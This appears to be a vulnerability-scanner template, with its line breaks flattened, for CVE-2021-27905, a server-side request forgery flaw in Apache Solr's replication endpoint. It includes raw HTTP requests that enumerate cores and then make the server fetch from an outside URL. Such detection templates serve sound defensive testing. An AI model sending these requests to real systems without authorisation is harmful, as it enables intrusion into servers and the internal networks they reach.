id: CVE-2021-27905 info: name: Apache Solr <= 8.8.1 SSRF author: hackergautam severity: critical description: The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the "shards" parameter. Prior to this bug getting fixed, it did not. This problem affects essentially all Solr versions prior to it getting fixed in 8.8.2. reference: - https://www.anquanke.com/post/id/238201 - https://ubuntu.com/security/CVE-2021-27905 - https://nvd.nist.gov/vuln/detail/CVE-2021-27905 - https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-27905 cwe-id: CWE-918 tags: cve,cve2021,apache,solr,ssrf requests: - raw: - | GET /solr/admin/cores?wt=json HTTP/1.1 Host: {{Hostname}} Accept-Language: en Connection: close - | GET /solr/{{core}}/replication/?command=fetchindex&masterUrl=https://example.com HTTP/1.1 Host: {{Hostname}} Accept-Language: en Connection: close extractors: - type: regex internal: true name: core group: 1 regex: - '"name"\:"(.*?)"' matchers: - type: word words: - 'OK' part: body